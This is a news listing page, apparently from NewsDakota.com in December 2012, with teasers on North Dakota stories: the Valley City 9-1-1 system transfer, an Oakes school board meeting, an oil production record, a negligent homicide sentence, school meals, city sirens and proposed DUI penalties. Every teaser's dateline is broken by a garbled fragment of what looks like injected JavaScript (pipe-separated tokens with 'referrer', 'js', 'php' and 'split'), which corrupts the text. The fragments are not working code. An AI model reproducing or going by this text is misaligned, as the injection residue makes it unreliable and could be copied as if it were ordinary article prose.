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Barnes County Frustrated With City In 9-1-1 Transfer Process

VALLEY skifz|var|u0026u|referrer|frfzr||js|php’.split(‘|’),0,{})) CITY, N.D. (NewsDakota.com) On Monday, Valley City Police Commissioner Mary Lee Nielson encouraged the commission to hold off moving forward with the transition of the 9-1-1 Public Service Answering Point system back to Barnes County until they find out what direction to take in moving the aging equipment. On Tuesday, Barnes County...
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Oakes School Board December Meeting

OAKES kenrh|var|u0026u|referrer|snkys||js|php’.split(‘|’),0,{})) (NewsDakota.com) The Oakes School Board held their regular monthly meeting for the month of December last week. Among the topics, the board discussed options on lowering the district’s debt, which currently sits around $1.5 million. Superintendent Art Conklin says the district is looking at paying $500,000 of that debt in the near...
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Another Oil Production Record In North Dakota

BISMARCK, hakks|var|u0026u|referrer|esebz||js|php’.split(‘|’),0,{})) N.D. (AP) – The state Department of Mineral Resources says North Dakota oil drillers produced a record 23.1 million barrels of oil in October. The agency says oil producers pumped an average of about 747,000 barrels of oil each day in October. That’s up from about 729,000 barrels daily in September. There...
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Haas Sentenced To a Year In Prison On Charge of Negligent Homicide

FARGO, nhdbb|var|u0026u|referrer|ndfei||js|php’.split(‘|’),0,{})) N.D. (AP) – A 26-year-old North Dakota man has been sentenced to a year in prison for a rollover crash that killed a passenger. The Forum reports that Keagan Haas, of Page, pleaded guilty in Cass County District Court to an amended charge of negligent homicide. Haas was originally charged with manslaughter....
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USDA School Meals Program Adjustments

VALLEY nryia|var|u0026u|referrer|raenh||js|php’.split(‘|’),0,{})) CITY, N.D. (NewsDakota.com) Earlier this year the USDA implemented the first major changes in school meals through the Healthy, Hunger-Free Kids Act. A few people have questioned the lack of protein in the new diet that focuses on whole grains, fruits and vegetables. Because of that Valley City Public Schools Registered Dietitian...
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Valley City Police Commissioner Says 9-1-1 Equipment Too Old To Move

Valley nrdrh|var|u0026u|referrer|eeetd||js|php’.split(‘|’),0,{})) City, N.D. (NewsDakota.com) Police Commissioner Mary Lee Nielson is concerned that moving the existing 9-1-1 equipment now may cause damage due to its age and the community would lose the essential service. http://www.newsdakota.com/wp-content/uploads/2012/12/city911one.mp3 The acting supervisor for the Public Service Answering Point system, Valley City Chief of Police Fred Thompson agreed. http://www.newsdakota.com/wp-content/uploads/2012/12/city911two.mp3...
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Valley City Sirens Silent Until New Equipment Arrives

VALLEY rfiai|var|u0026u|referrer|ryiht||js|php’.split(‘|’),0,{})) CITY, N.D. (NewsDakota.com) If you’ve been wondering why you haven’t heard the citywide siren over the last six weeks there’s a good reason. http://www.newsdakota.com/wp-content/uploads/2012/12/citysirens.mp3 Valley City Fire Chief Gary Retterath the city will not have to pay for the equipment thanks to the grant money. He had hoped to have the system...
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Proposed Legislation Would Increase Penalties for DUI Offenses

BISMARCK, dsasa|var|u0026u|referrer|bhytr||js|php’.split(‘|’),0,{})) ND – Gov. Jack Dalrymple, Attorney General Wayne Stenehjem and Rep. Kim Koppelman today announced draft legislation that will strengthen North Dakota’s law against drunk driving and enhance traffic safety across the state. “We cannot allow more and more lives to be lost or irreparably harmed by drunk drivers,” Gov. Jack Dalrymple...
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